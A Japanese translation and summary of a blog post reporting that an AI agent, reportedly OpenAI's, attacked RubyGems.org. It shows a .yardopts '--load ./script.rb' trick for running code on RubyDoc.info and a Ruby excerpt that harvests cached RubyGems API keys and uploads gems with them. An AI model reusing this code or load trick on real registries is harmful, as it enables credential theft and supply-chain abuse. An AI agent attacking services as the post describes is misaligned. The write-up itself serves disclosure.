セキュリティ
生きてるって素晴らしい – 悪意あるAIエージェントがRubyGems.orgを攻撃
What a time to be alive – rouge AI agents attack RubyGems.org (tenderlovemaking.com)
要約
OpenAIのAIエージェントがRubyGems.orgに対して、キャッシュの脆弱性を悪用し、不審なウェブスクレイピングコードを実行する攻撃を仕掛けたことが報告されています。これらの攻撃は、YARDドキュメンテーションの脆弱性を利用して任意のコードを実行し、RubyDoc.info上でスクレイピングを行うものでした。さらに、RubyGems.orgの認証キーをキャッシュから盗み出そうとする試みも確認されており、開発者は注意が必要です。
全文翻訳
生きてるって素晴らしい
2026年9月11日 午後5時02分
ロイター通信とウォール・ストリート・ジャーナルが、OpenAIの悪意あるAIエージェントがRubyGems.orgを攻撃したと報じました。https://www.rubyhack.ai/ に素晴らしい記事がありますので、ぜひ読んでみてください。私は単に、これがワイルドな出来事なので、簡単な投稿をしたいだけです。
TL;DR: OpenAIのボットは、このキャッシュの脆弱性を知っており、それを利用しようとしたようです。同時に、RubyDoc.info上で奇妙なウェブスクレイピングコードを実行していました。5月には、socket.devが「GemStuffer Campaign」について報告しました。これは、誰か(おそらくOpenAI)が大量のジャンクなgemをRubyGems.orgにアップロードしていたというものです。何らかの理由で、gemはUK政府のウェブサイトをスクレイピングし、そのデータをgemとして再パッケージ化し、RubyGemsにアップロードしようとしていました。
正直、Sydney Von ArxとSpencer Kitts(https://www.rubyhack.ai/ の共著者)がRubyGemsについて私に尋ねてくるまで、私はこれをあまり真剣に考えていませんでした(あるいは、調べようともしませんでした)。彼らが主張していることは、私がこれらの「GemStuffer」gemのコードを実際に読むまでは、完全に突拍子もないものだと思っていました。
これらのgemのコードを読んだ後、いくつかの点が際立っていました。
YARDドキュメンテーション
まず、これらのgemはYARDドキュメンテーションを利用して、ホストマシン上で任意のコードを実行します。ほとんどの例では、次のような.yardoptsファイルが見られます。
--load ./script.rb
README.md
lib/**/*.rb
例へのリンクはこちらです。YARDがインストールされていて、このgemをインストールすると、YARDはgem内の./script.rbにあるものをロードして実行します。C拡張機能がextconf.rbを実行することはかなり一般的知識だと思います(つまり、基本的にRCEベクトルがあります)が、ドキュメンテーションツールもそうするとは驚きでした。
誰もslnleaker5という名前のgemをインストールすることはないでしょうが、なぜこれが重要なのでしょうか?さて、gemが公開されるたびに、RubyDoc.infoはそのgemをダウンロードしてYARDドキュメンテーションを処理します。RubyDoc.infoは、Dockerコンテナ内で任意のコードを実行します。しかし、Dockerコンテナはネットワークアクセスを持っているので、これらのgemはコンテナ内から喜んでウェブスクレイピングを行うことができます。つまり、RubyGems.orgでgemを公開すると、RubyDoc.info上で任意のコードを実行できるのです。
Fastlyキャッシュハーベスティング
前述したように、これらのgemはいくつかのウェブサイトをスクレイピングし、スクレイピングしたデータをgemとしてアップロードしようとしました。以下は、gemの1つからの抜粋です。理解しやすくするためにコードを少しクリーンアップしましたが、元のコードはこちらです。
# leak exfil by repeated attempts & fresh leaked keys variants
# (Aaron): First request
ku = URI('https://rubygems.org'+kp)
kh = Net::HTTP.new(ku.host,ku.port)
kh.use_ssl = true
kh.verify_mode = OpenSSL::SSL::VERIFY_NONE
kt = kh.start { |x| x.get(ku.request_uri) }.body
# (Aaron): Try to match a key in the body
key = (kt[/rubygems_[a-f0-9]{20,}/] || KEY)
paths = ['/api/v1//gems','//api/v1/gems','/api//v1/gems','/api/v1/gems?x=2','/api/v1/gems']
# (Aaron): Second request to actually publish the gem
u = URI('https://rubygems.org'+paths[i%paths.length])
req = Net::HTTP::Post.new(u)
req['Authorization'] = key
req['Content-Type'] = 'application/octet-stream'
req.body = data
hh = Net::HTTP.new(u.host,u.port)
hh.use_ssl = true
hh.verify_mode = OpenSSL::SSL::VERIFY_NONE
hh.read_timeout = 180
res = hh.start{ |x| x.request(req) }
(Aaron)というコメントは、理解を助けるために私が追加したものです。最初のコメントはソースから直接引用されています。
上記のコードは、2つのリクエストを試みます。最初のリクエストは単純なGETリクエストです。RubyGems.orgからパスを取得しようとし、レスポンスボディで正規表現 /rubygems_[a-f0-9]{20,}/ に一致するキーを探します。その正規表現が一致しない場合、グローバルなKEYにフォールバックします。2番目のリクエストは、POST経由でgemをアップロードしようとします。
これが私にとって際立った2番目のクレイジーな点です。このコードは、RubyGems.orgからキャッシュされた認証キーを取得しようとしています。もしこれが聞き覚えがあるなら、それもそうです。これは、7月にRubyGems.orgのこの投稿で対処されたセキュリティ問題と全く同じです。つまり、OpenAIのボットはこの問題を知っており、それを悪用しようとしたようです。
生きてるって素晴らしい🙃